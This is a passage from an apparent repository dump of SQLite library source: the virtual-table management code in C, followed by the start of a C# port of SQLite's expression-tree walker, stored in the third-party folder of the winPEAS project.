p->pModule->xDisconnect(p);\n        (void)sqlite3SafetyOn(db);\n      } else\n#endif\n      {\n        p->pModule->xDisconnect(p);\n      }\n    }\n    sqlite3DbFree(db, pVTab);\n  }\n}\n\n/*\n** Table p is a virtual table. This function moves all elements in the\n** p->pVTable list to the sqlite3.pDisconnect lists of their associated\n** database connections to be disconnected at the next opportunity. \n** Except, if argument db is not NULL, then the entry associated with\n** connection db is left in the p->pVTable list.\n*/\nstatic VTable *vtabDisconnectAll(sqlite3 *db, Table *p){\n  VTable *pRet = 0;\n  VTable *pVTable = p->pVTable;\n  p->pVTable = 0;\n\n  /* Assert that the mutex (if any) associated with the BtShared database \n  ** that contains table p is held by the caller. See header comments \n  ** above function sqlite3VtabUnlockList() for an explanation of why\n  ** this makes it safe to access the sqlite3.pDisconnect list of any\n  ** database connection that may have an entry in the p->pVTable list.  */\n  assert( db==0 ||\n    sqlite3BtreeHoldsMutex(db->aDb[sqlite3SchemaToIndex(db, p->pSchema)].pBt) \n  );\n\n  while( pVTable ){\n    sqlite3 *db2 = pVTable->db;\n    VTable *pNext = pVTable->pNext;\n    assert( db2 );\n    if( db2==db ){\n      pRet = pVTable;\n      p->pVTable = pRet;\n      pRet->pNext = 0;\n    }else{\n      pVTable->pNext = db2->pDisconnect;\n      db2->pDisconnect = pVTable;\n    }\n    pVTable = pNext;\n  }\n\n  assert( !db || pRet );\n  return pRet;\n}\n\n\n/*\n** Disconnect all the virtual table objects in the sqlite3.pDisconnect list.\n**\n** This function may only be called when the mutexes associated with all\n** shared b-tree databases opened using connection db are held by the \n** caller. This is done to protect the sqlite3.pDisconnect list. The\n** sqlite3.pDisconnect list is accessed only as follows:\n**\n**   1) By this function. In this case, all BtShared mutexes and the mutex\n**      associated with the database handle itself must be held.\n**\n**   2) By function vtabDisconnectAll(), when it adds a VTable entry to\n**      the sqlite3.pDisconnect list. In this case either the BtShared mutex\n**      associated with the database the virtual table is stored in is held\n**      or, if the virtual table is stored in a non-sharable database, then\n**      the database handle mutex is held.\n**\n** As a result, a sqlite3.pDisconnect cannot be accessed simultaneously \n** by multiple threads. It is thread-safe.\n*/\nvoid sqlite3VtabUnlockList(sqlite3 *db){\n  VTable *p = db->pDisconnect;\n  db->pDisconnect = 0;\n\n  assert( sqlite3BtreeHoldsAllMutexes(db) );\n  assert( sqlite3_mutex_held(db->mutex) );\n\n  if( p ){\n    sqlite3ExpirePreparedStatements(db);\n    do {\n      VTable *pNext = p->pNext;\n      sqlite3VtabUnlock(p);\n      p = pNext;\n    }while( p );\n  }\n}\n\n/*\n** Clear any and all virtual-table information from the Table record.\n** This routine is called, for example, just before deleting the Table\n** record.\n**\n** Since it is a virtual-table, the Table structure contains a pointer\n** to the head of a linked list of VTable structures. Each VTable \n** structure is associated with a single sqlite3* user of the schema.\n** The reference count of the VTable structure associated with database \n** connection db is decremented immediately (which may lead to the \n** structure being xDisconnected and free). Any other VTable structures\n** in the list are moved to the sqlite3.pDisconnect list of the associated \n** database connection.\n*/\nvoid sqlite3VtabClear(Table *p){\n  vtabDisconnectAll(0, p);\n  if( p->azModuleArg ){\n    int i;\n    for(i=0; i<p->nModuleArg; i++){\n      sqlite3DbFree(p->dbMem, p->azModuleArg[i]);\n    }\n    sqlite3DbFree(p->dbMem, p->azModuleArg);\n  }\n}\n\n/*\n** Add a new module argument to pTable->azModuleArg[].\n** The string is not copied - the pointer is stored.  The\n** string will be freed automatically when the table is\n** deleted.\n*/\nstatic void addModuleArgument(sqlite3 *db, Table *pTable, char *zArg){\n  int i = pTable->nModuleArg++;\n  int nBytes = sizeof(char *)*(1+pTable->nModuleArg);\n  char **azModuleArg;\n  azModuleArg = sqlite3DbRealloc(db, pTable->azModuleArg, nBytes);\n  if( azModuleArg==0 ){\n    int j;\n    for(j=0; j<i; j++){\n      sqlite3DbFree(db, pTable->azModuleArg[j]);\n    }\n    sqlite3DbFree(db, zArg);\n    sqlite3DbFree(db, pTable->azModuleArg);\n    pTable->nModuleArg = 0;\n  }else{\n    azModuleArg[i] = zArg;\n    azModuleArg[i+1] = 0;\n  }\n  pTable->azModuleArg = azModuleArg;\n}\n\n/*\n** The parser calls this routine when it first sees a CREATE VIRTUAL TABLE\n** statement.  The module name has been parsed, but the optional list\n** of parameters that follow the module name are still pending.\n*/\nvoid sqlite3VtabBeginParse(\n  Parse *pParse,        /* Parsing context */\n  Token *pName1,        /* Name of new table, or database name */\n  Token *pName2,        /* Name of new table or NULL */\n  Token *pModuleName    /* Name of the module for the virtual table */\n){\n  int iDb;              /* The database the table is being created in */\n  Table *pTable;        /* The new virtual table */\n  sqlite3 *db;          /* Database connection */\n\n  sqlite3StartTable(pParse, pName1, pName2, 0, 0, 1, 0);\n  pTable = pParse->pNewTable;\n  if( pTable==0 ) return;\n  assert( 0==pTable->pIndex );\n\n  db = pParse->db;\n  iDb = sqlite3SchemaToIndex(db, pTable->pSchema);\n  assert( iDb>=0 );\n\n  pTable->tabFlags |= TF_Virtual;\n  pTable->nModuleArg = 0;\n  addModuleArgument(db, pTable, sqlite3NameFromToken(db, pModuleName));\n  addModuleArgument(db, pTable, sqlite3DbStrDup(db, db->aDb[iDb].zName));\n  addModuleArgument(db, pTable, sqlite3DbStrDup(db, pTable->zName));\n  pParse->sNameToken.n = (int)(&pModuleName->z[pModuleName->n] - pName1->z);\n\n#if !SQLITE_OMIT_AUTHORIZATION\n  /* Creating a virtual table invokes the authorization callback twice.\n  ** The first invocation, to obtain permission to INSERT a row into the\n  ** sqlite_master table, has already been made by sqlite3StartTable().\n  ** The second call, to obtain permission to create the table, is made now.\n  */\n  if( pTable->azModuleArg ){\n    sqlite3AuthCheck(pParse, SQLITE_CREATE_VTABLE, pTable->zName, \n            pTable->azModuleArg[0], pParse->db->aDb[iDb].zName);\n  }\n#endif\n}\n\n/*\n** This routine takes the module argument that has been accumulating\n** in pParse->zArg[] and appends it to the list of arguments on the\n** virtual table currently under construction in pParse->pTable.\n*/\nstatic void addArgumentToVtab(Parse *pParse){\n  if( pParse->sArg.z && ALWAYS(pParse->pNewTable) ){\n    const char *z = (const char*)pParse->sArg.z;\n    int n = pParse->sArg.n;\n    sqlite3 *db = pParse->db;\n    addModuleArgument(db, pParse->pNewTable, sqlite3DbStrNDup(db, z, n));\n  }\n}\n\n/*\n** The parser calls this routine after the CREATE VIRTUAL TABLE statement\n** has been completely parsed.\n*/\nvoid sqlite3VtabFinishParse(Parse *pParse, Token *pEnd){\n  Table *pTab = pParse->pNewTable;  /* The table being constructed */\n  sqlite3 *db = pParse->db;         /* The database connection */\n\n  if( pTab==0 ) return;\n  addArgumentToVtab(pParse);\n  pParse->sArg.z = 0;\n  if( pTab->nModuleArg<1 ) return;\n  \n  /* If the CREATE VIRTUAL TABLE statement is being entered for the\n  ** first time (in other words if the virtual table is actually being\n  ** created now instead of just being read out of sqlite_master) then\n  ** do additional initialization work and store the statement text\n  ** in the sqlite_master table.\n  */\n  if( !db->init.busy ){\n    char *zStmt;\n    char *zWhere;\n    int iDb;\n    Vdbe *v;\n\n    /* Compute the complete text of the CREATE VIRTUAL TABLE statement */\n    if( pEnd ){\n      pParse->sNameToken.n = (int)(pEnd->z - pParse->sNameToken.z) + pEnd->n;\n    }\n    zStmt = sqlite3MPrintf(db, \"CREATE VIRTUAL TABLE %T\", &pParse->sNameToken);\n\n    /* A slot for the record has already been allocated in the \n    ** SQLITE_MASTER table.  We just need to update that slot with all\n    ** the information we've collected.  \n    **\n    ** The VM register number pParse->regRowid holds the rowid of an\n    ** entry in the sqlite_master table tht was created for this vtab\n    ** by sqlite3StartTable().\n    */\n    iDb = sqlite3SchemaToIndex(db, pTab->pSchema);\n    sqlite3NestedParse(pParse,\n      \"UPDATE %Q.%s \"\n         \"SET type='table', name=%Q, tbl_name=%Q, rootpage=0, sql=%Q \"\n       \"WHERE rowid=#%d\",\n      db->aDb[iDb].zName, SCHEMA_TABLE(iDb),\n      pTab->zName,\n      pTab->zName,\n      zStmt,\n      pParse->regRowid\n    );\n    sqlite3DbFree(db, zStmt);\n    v = sqlite3GetVdbe(pParse);\n    sqlite3ChangeCookie(pParse, iDb);\n\n    sqlite3VdbeAddOp2(v, OP_Expire, 0, 0);\n    zWhere = sqlite3MPrintf(db, \"name='%q'\", pTab->zName);\n    sqlite3VdbeAddOp4(v, OP_ParseSchema, iDb, 1, 0, zWhere, P4_DYNAMIC);\n    sqlite3VdbeAddOp4(v, OP_VCreate, iDb, 0, 0, \n                         pTab->zName, sqlite3Strlen30(pTab->zName) + 1);\n  }\n\n  /* If we are rereading the sqlite_master table create the in-memory\n  ** record of the table. The xConnect() method is not called until\n  ** the first time the virtual table is used in an SQL statement. This\n  ** allows a schema that contains virtual tables to be loaded before\n  ** the required virtual table implementations are registered.  */\n  else {\n    Table *pOld;\n    Schema *pSchema = pTab->pSchema;\n    const char *zName = pTab->zName;\n    int nName = sqlite3Strlen30(zName);\n    pOld = sqlite3HashInsert(&pSchema->tblHash, zName, nName, pTab);\n    if( pOld ){\n      db->mallocFailed = 1;\n      assert( pTab==pOld );  /* Malloc must have failed inside HashInsert() */\n      return;\n    }\n    pSchema->db = pParse->db;\n    pParse->pNewTable = 0;\n  }\n}\n\n/*\n** The parser calls this routine when it sees the first token\n** of an argument to the module name in a CREATE VIRTUAL TABLE statement.\n*/\nvoid sqlite3VtabArgInit(Parse *pParse){\n  addArgumentToVtab(pParse);\n  pParse->sArg.z = 0;\n  pParse->sArg.n = 0;\n}\n\n/*\n** The parser calls this routine for each token after the first token\n** in an argument to the module name in a CREATE VIRTUAL TABLE statement.\n*/\nvoid sqlite3VtabArgExtend(Parse *pParse, Token *p){\n  Token *pArg = &pParse->sArg;\n  if( pArg->z==0 ){\n    pArg->z = p->z;\n    pArg->n = p->n;\n  }else{\n    assert(pArg->z < p->z);\n    pArg->n = (int)(&p->z[p->n] - pArg->z);\n  }\n}\n\n/*\n** Invoke a virtual table constructor (either xCreate or xConnect). The\n** pointer to the function to invoke is passed as the fourth parameter\n** to this procedure.\n*/\nstatic int vtabCallConstructor(\n  sqlite3 *db, \n  Table *pTab,\n  Module *pMod,\n  int (*xConstruct)(sqlite3*,void*,int,const char*const*,sqlite3_vtab**,char**),\n  char **pzErr\n){\n  VTable *pVTable;\n  int rc;\n  const char *const*azArg = (const char *const*)pTab->azModuleArg;\n  int nArg = pTab->nModuleArg;\n  char *zErr = 0;\n  char *zModuleName = sqlite3MPrintf(db, \"%s\", pTab->zName);\n\n  if( !zModuleName ){\n    return SQLITE_NOMEM;\n  }\n\n  pVTable = sqlite3DbMallocZero(db, sizeof(VTable));\n  if( !pVTable ){\n    sqlite3DbFree(db, zModuleName);\n    return SQLITE_NOMEM;\n  }\n  pVTable->db = db;\n  pVTable->pMod = pMod;\n\n  assert( !db->pVTab );\n  assert( xConstruct );\n  db->pVTab = pTab;\n\n  /* Invoke the virtual table constructor */\n  (void)sqlite3SafetyOff(db);\n  rc = xConstruct(db, pMod->pAux, nArg, azArg, &pVTable->pVtab, &zErr);\n  (void)sqlite3SafetyOn(db);\n  if( rc==SQLITE_NOMEM ) db->mallocFailed = 1;\n\n  if( SQLITE_OK!=rc ){\n    if( zErr==0 ){\n      *pzErr = sqlite3MPrintf(db, \"vtable constructor failed: %s\", zModuleName);\n    }else {\n      *pzErr = sqlite3MPrintf(db, \"%s\", zErr);\n      sqlite3DbFree(db, zErr);\n    }\n    sqlite3DbFree(db, pVTable);\n  }else if( ALWAYS(pVTable->pVtab) ){\n    /* Justification of ALWAYS():  A correct vtab constructor must allocate\n    ** the sqlite3_vtab object if successful.  */\n    pVTable->pVtab->pModule = pMod->pModule;\n    pVTable->nRef = 1;\n    if( db->pVTab ){\n      const char *zFormat = \"vtable constructor did not declare schema: %s\";\n      *pzErr = sqlite3MPrintf(db, zFormat, pTab->zName);\n      sqlite3VtabUnlock(pVTable);\n      rc = SQLITE_ERROR;\n    }else{\n      int iCol;\n      /* If everything went according to plan, link the new VTable structure\n      ** into the linked list headed by pTab->pVTable. Then loop through the \n      ** columns of the table to see if any of them contain the token \"hidden\".\n      ** If so, set the Column.isHidden flag and remove the token from\n      ** the type string.  */\n      pVTable->pNext = pTab->pVTable;\n      pTab->pVTable = pVTable;\n\n      for(iCol=0; iCol<pTab->nCol; iCol++){\n        char *zType = pTab->aCol[iCol].zType;\n        int nType;\n        int i = 0;\n        if( !zType ) continue;\n        nType = sqlite3Strlen30(zType);\n        if( sqlite3StrNICmp(\"hidden\", zType, 6)||(zType[6] && zType[6]!=' ') ){\n          for(i=0; i<nType; i++){\n            if( (0==sqlite3StrNICmp(\" hidden\", &zType[i], 7))\n             && (zType[i+7]=='\\0' || zType[i+7]==' ')\n            ){\n              i++;\n              break;\n            }\n          }\n        }\n        if( i<nType ){\n          int j;\n          int nDel = 6 + (zType[i+6] ? 1 : 0);\n          for(j=i; (j+nDel)<=nType; j++){\n            zType[j] = zType[j+nDel];\n          }\n          if( zType[i]=='\\0' && i>0 ){\n            assert(zType[i-1]==' ');\n            zType[i-1] = '\\0';\n          }\n          pTab->aCol[iCol].isHidden = 1;\n        }\n      }\n    }\n  }\n\n  sqlite3DbFree(db, zModuleName);\n  db->pVTab = 0;\n  return rc;\n}\n\n/*\n** This function is invoked by the parser to call the xConnect() method\n** of the virtual table pTab. If an error occurs, an error code is returned \n** and an error left in pParse.\n**\n** This call is a no-op if table pTab is not a virtual table.\n*/\nint sqlite3VtabCallConnect(Parse *pParse, Table *pTab){\n  sqlite3 *db = pParse->db;\n  const char *zMod;\n  Module *pMod;\n  int rc;\n\n  assert( pTab );\n  if( (pTab->tabFlags & TF_Virtual)==0 || sqlite3GetVTable(db, pTab) ){\n    return SQLITE_OK;\n  }\n\n  /* Locate the required virtual table module */\n  zMod = pTab->azModuleArg[0];\n  pMod = (Module*)sqlite3HashFind(&db->aModule, zMod, sqlite3Strlen30(zMod));\n\n  if( !pMod ){\n    const char *zModule = pTab->azModuleArg[0];\n    sqlite3ErrorMsg(pParse, \"no such module: %s\", zModule);\n    rc = SQLITE_ERROR;\n  }else{\n    char *zErr = 0;\n    rc = vtabCallConstructor(db, pTab, pMod, pMod->pModule->xConnect, &zErr);\n    if( rc!=SQLITE_OK ){\n      sqlite3ErrorMsg(pParse, \"%s\", zErr);\n    }\n    sqlite3DbFree(db, zErr);\n  }\n\n  return rc;\n}\n\n/*\n** Add the virtual table pVTab to the array sqlite3.aVTrans[].\n*/\nstatic int addToVTrans(sqlite3 *db, VTable *pVTab){\n  const int ARRAY_INCR = 5;\n\n  /* Grow the sqlite3.aVTrans array if required */\n  if( (db->nVTrans%ARRAY_INCR)==0 ){\n    VTable **aVTrans;\n    int nBytes = sizeof(sqlite3_vtab *) * (db->nVTrans + ARRAY_INCR);\n    aVTrans = sqlite3DbRealloc(db, (void *)db->aVTrans, nBytes);\n    if( !aVTrans ){\n      return SQLITE_NOMEM;\n    }\n    memset(&aVTrans[db->nVTrans], 0, sizeof(sqlite3_vtab *)*ARRAY_INCR);\n    db->aVTrans = aVTrans;\n  }\n\n  /* Add pVtab to the end of sqlite3.aVTrans */\n  db->aVTrans[db->nVTrans++] = pVTab;\n  sqlite3VtabLock(pVTab);\n  return SQLITE_OK;\n}\n\n/*\n** This function is invoked by the vdbe to call the xCreate method\n** of the virtual table named zTab in database iDb. \n**\n** If an error occurs, *pzErr is set to point an an English language\n** description of the error and an SQLITE_XXX error code is returned.\n** In this case the caller must call sqlite3DbFree(db, ) on *pzErr.\n*/\nint sqlite3VtabCallCreate(sqlite3 *db, int iDb, const char *zTab, char **pzErr){\n  int rc = SQLITE_OK;\n  Table *pTab;\n  Module *pMod;\n  const char *zMod;\n\n  pTab = sqlite3FindTable(db, zTab, db->aDb[iDb].zName);\n  assert( pTab && (pTab->tabFlags & TF_Virtual)!=0 && !pTab->pVTable );\n\n  /* Locate the required virtual table module */\n  zMod = pTab->azModuleArg[0];\n  pMod = (Module*)sqlite3HashFind(&db->aModule, zMod, sqlite3Strlen30(zMod));\n\n  /* If the module has been registered and includes a Create method, \n  ** invoke it now. If the module has not been registered, return an \n  ** error. Otherwise, do nothing.\n  */\n  if( !pMod ){\n    *pzErr = sqlite3MPrintf(db, \"no such module: %s\", zMod);\n    rc = SQLITE_ERROR;\n  }else{\n    rc = vtabCallConstructor(db, pTab, pMod, pMod->pModule->xCreate, pzErr);\n  }\n\n  /* Justification of ALWAYS():  The xConstructor method is required to\n  ** create a valid sqlite3_vtab if it returns SQLITE_OK. */\n  if( rc==SQLITE_OK && ALWAYS(sqlite3GetVTable(db, pTab)) ){\n      rc = addToVTrans(db, sqlite3GetVTable(db, pTab));\n  }\n\n  return rc;\n}\n\n/*\n** This function is used to set the schema of a virtual table.  It is only\n** valid to call this function from within the xCreate() or xConnect() of a\n** virtual table module.\n*/\nint sqlite3_declare_vtab(sqlite3 *db, const char *zCreateTable){\n  Parse *pParse;\n\n  int rc = SQLITE_OK;\n  Table *pTab;\n  char *zErr = 0;\n\n  sqlite3_mutex_enter(db->mutex);\n  pTab = db->pVTab;\n  if( !pTab ){\n    sqlite3Error(db, SQLITE_MISUSE, 0);\n    sqlite3_mutex_leave(db->mutex);\n    return SQLITE_MISUSE;\n  }\n  assert( (pTab->tabFlags & TF_Virtual)!=0 );\n\n  pParse = sqlite3StackAllocZero(db, sizeof(*pParse));\n  if( pParse==0 ){\n    rc = SQLITE_NOMEM;\n  }else{\n    pParse->declareVtab = 1;\n    pParse->db = db;\n  \n    if( \n        SQLITE_OK == sqlite3RunParser(pParse, zCreateTable, &zErr) && \n        pParse->pNewTable && \n        !pParse->pNewTable->pSelect && \n        (pParse->pNewTable->tabFlags & TF_Virtual)==0\n    ){\n      if( !pTab->aCol ){\n        pTab->aCol = pParse->pNewTable->aCol;\n        pTab->nCol = pParse->pNewTable->nCol;\n        pParse->pNewTable->nCol = 0;\n        pParse->pNewTable->aCol = 0;\n      }\n      db->pVTab = 0;\n    } else {\n      sqlite3Error(db, SQLITE_ERROR, zErr);\n      sqlite3DbFree(db, zErr);\n      rc = SQLITE_ERROR;\n    }\n    pParse->declareVtab = 0;\n  \n    if( pParse->pVdbe ){\n      sqlite3VdbeFinalize(pParse->pVdbe);\n    }\n    sqlite3DeleteTable(pParse->pNewTable);\n    sqlite3StackFree(db, pParse);\n  }\n\n  assert( (rc&0xff)==rc );\n  rc = sqlite3ApiExit(db, rc);\n  sqlite3_mutex_leave(db->mutex);\n  return rc;\n}\n\n/*\n** This function is invoked by the vdbe to call the xDestroy method\n** of the virtual table named zTab in database iDb. This occurs\n** when a DROP TABLE is mentioned.\n**\n** This call is a no-op if zTab is not a virtual table.\n*/\nint sqlite3VtabCallDestroy(sqlite3 *db, int iDb, const char *zTab){\n  int rc = SQLITE_OK;\n  Table *pTab;\n\n  pTab = sqlite3FindTable(db, zTab, db->aDb[iDb].zName);\n  if( ALWAYS(pTab!=0 && pTab->pVTable!=0) ){\n    VTable *p = vtabDisconnectAll(db, pTab);\n\n    rc = sqlite3SafetyOff(db);\n    assert( rc==SQLITE_OK );\n    rc = p->pMod->pModule->xDestroy(p->pVtab);\n    (void)sqlite3SafetyOn(db);\n\n    /* Remove the sqlite3_vtab* from the aVTrans[] array, if applicable */\n    if( rc==SQLITE_OK ){\n      assert( pTab->pVTable==p && p->pNext==0 );\n      p->pVtab = 0;\n      pTab->pVTable = 0;\n      sqlite3VtabUnlock(p);\n    }\n  }\n\n  return rc;\n}\n\n/*\n** This function invokes either the xRollback or xCommit method\n** of each of the virtual tables in the sqlite3.aVTrans array. The method\n** called is identified by the second argument, \"offset\", which is\n** the offset of the method to call in the sqlite3_module structure.\n**\n** The array is cleared after invoking the callbacks. \n*/\nstatic void callFinaliser(sqlite3 *db, int offset){\n  int i;\n  if( db->aVTrans ){\n    for(i=0; i<db->nVTrans; i++){\n      VTable *pVTab = db->aVTrans[i];\n      sqlite3_vtab *p = pVTab->pVtab;\n      if( p ){\n        int (*x)(sqlite3_vtab *);\n        x = *(int (**)(sqlite3_vtab *))((char *)p->pModule + offset);\n        if( x ) x(p);\n      }\n      sqlite3VtabUnlock(pVTab);\n    }\n    sqlite3DbFree(db, db->aVTrans);\n    db->nVTrans = 0;\n    db->aVTrans = 0;\n  }\n}\n\n/*\n** Invoke the xSync method of all virtual tables in the sqlite3.aVTrans\n** array. Return the error code for the first error that occurs, or\n** SQLITE_OK if all xSync operations are successful.\n**\n** Set *pzErrmsg to point to a buffer that should be released using \n** sqlite3DbFree() containing an error message, if one is available.\n*/\nint sqlite3VtabSync(sqlite3 *db, char **pzErrmsg){\n  int i;\n  int rc = SQLITE_OK;\n  int rcsafety;\n  VTable **aVTrans = db->aVTrans;\n\n  rc = sqlite3SafetyOff(db);\n  db->aVTrans = 0;\n  for(i=0; rc==SQLITE_OK && i<db->nVTrans; i++){\n    int (*x)(sqlite3_vtab *);\n    sqlite3_vtab *pVtab = aVTrans[i]->pVtab;\n    if( pVtab && (x = pVtab->pModule->xSync)!=0 ){\n      rc = x(pVtab);\n      sqlite3DbFree(db, *pzErrmsg);\n      *pzErrmsg = pVtab->zErrMsg;\n      pVtab->zErrMsg = 0;\n    }\n  }\n  db->aVTrans = aVTrans;\n  rcsafety = sqlite3SafetyOn(db);\n\n  if( rc==SQLITE_OK ){\n    rc = rcsafety;\n  }\n  return rc;\n}\n\n/*\n** Invoke the xRollback method of all virtual tables in the \n** sqlite3.aVTrans array. Then clear the array itself.\n*/\nint sqlite3VtabRollback(sqlite3 *db){\n  callFinaliser(db, offsetof(sqlite3_module,xRollback));\n  return SQLITE_OK;\n}\n\n/*\n** Invoke the xCommit method of all virtual tables in the \n** sqlite3.aVTrans array. Then clear the array itself.\n*/\nint sqlite3VtabCommit(sqlite3 *db){\n  callFinaliser(db, offsetof(sqlite3_module,xCommit));\n  return SQLITE_OK;\n}\n\n/*\n** If the virtual table pVtab supports the transaction interface\n** (xBegin/xRollback/xCommit and optionally xSync) and a transaction is\n** not currently open, invoke the xBegin method now.\n**\n** If the xBegin call is successful, place the sqlite3_vtab pointer\n** in the sqlite3.aVTrans array.\n*/\nint sqlite3VtabBegin(sqlite3 *db, VTable *pVTab){\n  int rc = SQLITE_OK;\n  const sqlite3_module *pModule;\n\n  /* Special case: If db->aVTrans is NULL and db->nVTrans is greater\n  ** than zero, then this function is being called from within a\n  ** virtual module xSync() callback. It is illegal to write to \n  ** virtual module tables in this case, so return SQLITE_LOCKED.\n  */\n  if( sqlite3VtabInSync(db) ){\n    return SQLITE_LOCKED;\n  }\n  if( !pVTab ){\n    return SQLITE_OK;\n  } \n  pModule = pVTab->pVtab->pModule;\n\n  if( pModule->xBegin ){\n    int i;\n\n\n    /* If pVtab is already in the aVTrans array, return early */\n    for(i=0; i<db->nVTrans; i++){\n      if( db->aVTrans[i]==pVTab ){\n        return SQLITE_OK;\n      }\n    }\n\n    /* Invoke the xBegin method */\n    rc = pModule->xBegin(pVTab->pVtab);\n    if( rc==SQLITE_OK ){\n      rc = addToVTrans(db, pVTab);\n    }\n  }\n  return rc;\n}\n\n/*\n** The first parameter (pDef) is a function implementation.  The\n** second parameter (pExpr) is the first argument to this function.\n** If pExpr is a column in a virtual table, then let the virtual\n** table implementation have an opportunity to overload the function.\n**\n** This routine is used to allow virtual table implementations to\n** overload MATCH, LIKE, GLOB, and REGEXP operators.\n**\n** Return either the pDef argument (indicating no change) or a \n** new FuncDef structure that is marked as ephemeral using the\n** SQLITE_FUNC_EPHEM flag.\n*/\nFuncDef *sqlite3VtabOverloadFunction(\n  sqlite3 *db,    /* Database connection for reporting malloc problems */\n  FuncDef *pDef,  /* Function to possibly overload */\n  int nArg,       /* Number of arguments to the function */\n  Expr *pExpr     /* First argument to the function */\n){\n  Table *pTab;\n  sqlite3_vtab *pVtab;\n  sqlite3_module *pMod;\n  void (*xFunc)(sqlite3_context*,int,sqlite3_value**) = 0;\n  void *pArg = 0;\n  FuncDef *pNew;\n  int rc = 0;\n  char *zLowerName;\n  unsigned char *z;\n\n\n  /* Check to see the left operand is a column in a virtual table */\n  if( NEVER(pExpr==0) ) return pDef;\n  if( pExpr->op!=TK_COLUMN ) return pDef;\n  pTab = pExpr->pTab;\n  if( NEVER(pTab==0) ) return pDef;\n  if( (pTab->tabFlags & TF_Virtual)==0 ) return pDef;\n  pVtab = sqlite3GetVTable(db, pTab)->pVtab;\n  assert( pVtab!=0 );\n  assert( pVtab->pModule!=0 );\n  pMod = (sqlite3_module *)pVtab->pModule;\n  if( pMod->xFindFunction==0 ) return pDef;\n \n  /* Call the xFindFunction method on the virtual table implementation\n  ** to see if the implementation wants to overload this function \n  */\n  zLowerName = sqlite3DbStrDup(db, pDef->zName);\n  if( zLowerName ){\n    for(z=(unsigned char*)zLowerName; *z; z++){\n      *z = sqlite3UpperToLower[*z];\n    }\n    rc = pMod->xFindFunction(pVtab, nArg, zLowerName, &xFunc, &pArg);\n    sqlite3DbFree(db, zLowerName);\n  }\n  if( rc==0 ){\n    return pDef;\n  }\n\n  /* Create a new ephemeral function definition for the overloaded\n  ** function */\n  pNew = sqlite3DbMallocZero(db, sizeof(*pNew)\n                             + sqlite3Strlen30(pDef->zName) + 1);\n  if( pNew==0 ){\n    return pDef;\n  }\n  *pNew = *pDef;\n  pNew->zName = (char *)&pNew[1];\n  memcpy(pNew->zName, pDef->zName, sqlite3Strlen30(pDef->zName)+1);\n  pNew->xFunc = xFunc;\n  pNew->pUserData = pArg;\n  pNew->flags |= SQLITE_FUNC_EPHEM;\n  return pNew;\n}\n\n/*\n** Make sure virtual table pTab is contained in the pParse->apVirtualLock[]\n** array so that an OP_VBegin will get generated for it.  Add pTab to the\n** array if it is missing.  If pTab is already in the array, this routine\n** is a no-op.\n*/\nvoid sqlite3VtabMakeWritable(Parse *pParse, Table *pTab){\n  int i, n;\n  Table **apVtabLock;\n\n  assert( IsVirtual(pTab) );\n  for(i=0; i<pParse->nVtabLock; i++){\n    if( pTab==pParse->apVtabLock[i] ) return;\n  }\n  n = (pParse->nVtabLock+1)*sizeof(pParse->apVtabLock[0]);\n  apVtabLock = sqlite3_realloc(pParse->apVtabLock, n);\n  if( apVtabLock ){\n    pParse->apVtabLock = apVtabLock;\n    pParse->apVtabLock[pParse->nVtabLock++] = pTab;\n  }else{\n    pParse->db->mallocFailed = 1;\n  }\n}\n\n#endif //* SQLITE_OMIT_VIRTUALTABLE */\n\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/walker_c.cs",
    "content": "namespace winPEAS._3rdParty.SQLite.src\n{\n  public partial class CSSQLite\n  {\n    /*\n    ** 2008 August 16\n    **\n    ** The author disclaims copyright to this source code.  In place of\n    ** a legal notice, here is a blessing:\n    **\n    **    May you do good and not evil.\n    **    May you find forgiveness for yourself and forgive others.\n    **    May you share freely, never taking more than you give.\n    **\n    *************************************************************************\n    ** This file contains routines used for walking the parser tree for\n    ** an SQL statement.\n    **\n    ** $Id: walker.c,v 1.7 2009/06/15 23:15:59 drh Exp $\n    **\n    *************************************************************************\n    **  Included in SQLite3 port to C#-SQLite;  2008 Noah B Hart\n    **  C#-SQLite is an independent reimplementation of the SQLite software library\n    **\n    **  $Header$\n    *************************************************************************\n    */\n    //#include \"sqliteInt.h\"\n    //#include <stdlib.h>\n    //#include <string.h>\n\n\n    /*\n    ** Walk an expression tree.  Invoke the callback once for each node\n    ** of the expression, while decending.  (In other words, the callback\n    ** is invoked before visiting children.)\n    **\n    ** The return value from the callback should be one of the WRC_*\n    ** constants to specify how to proceed with the walk.\n    **\n    **    WRC_Continue      Continue descending down the tree.\n    **\n    **    WRC_Prune         Do not descend into child nodes.  But allow\n    **                      the walk to continue with sibling nodes.\n    **\n    **    WRC_Abort         Do no more callbacks.  Unwind the stack and\n    **                      return the top-level walk call.\n    **\n    ** The return value from this routine is WRC_Abort to abandon the tree walk\n    ** and WRC_Continue to continue.\n    */\n    static int sqlite3WalkExpr( Walker pWalker, ref Expr pExpr )\n    {\n      int rc;\n      if ( pExpr == null ) return WRC_Continue;\n      testcase( ExprHasProperty( pExpr, EP_TokenOnly ) );\n      testcase( ExprHasProperty( pExpr, EP_Reduced ) );\n      rc = pWalker.xExprCallback( pWalker, ref pExpr );\n      if ( rc == WRC_Continue\n      && !ExprHasAnyProperty( pExpr, EP_TokenOnly ) )\n      {\n        if ( sqlite3WalkExpr( pWalker, ref pExpr.pLeft ) != 0 ) return WRC_Abort;\n        if ( sqlite3WalkExpr( pWalker, ref pExpr.pRight ) != 0 ) return WRC_Abort;\n        if ( ExprHasProperty( pExpr, EP_xIsSelect ) )\n        {\n          if ( sqlite3WalkSelect( pWalker, pExpr.x.pSelect ) != 0 ) return WRC_Abort;\n        }\n        else\n        {\n          if ( sqlite3WalkExprList( pWalker, pExpr.x.pList ) != 0 ) return WRC_Abort;\n        }\n      }\n      return rc & WRC_Abort;\n    }\n\n    /*\n    ** Call sqlite3WalkExpr() for every expression in list p or until\n    ** an abort request is seen.\n    */\n    static int sqlite3WalkExprList( Walker pWalker, ExprList p )\n    {\n      int i;\n      ExprList_item pItem;\n      if ( p != null )\n      {\n        for ( i = p.nExpr ; i > 0 ; i-- )\n        {//, pItem++){\n          pItem = p.a[p.nExpr - i];\n          if ( sqlite3WalkExpr( pWalker, ref pItem.pExpr ) != 0 ) return WRC_Abort;\n        }\n      }\n      return WRC_Continue;\n    }\n\n    /*\n    ** Walk all expressions associated with SELECT statement p.  Do\n    ** not invoke the SELECT callback on p, but do (of course) invoke\n    ** any expr callbacks and SELECT callbacks that come from subqueries.\n    ** Return WRC_Abort or WRC_Continue.\n    */\n    static int sqlite3WalkSelectExpr( Walker pWalker, Select p )\n    {\n      if ( sqlite3WalkExprList( pWalker, 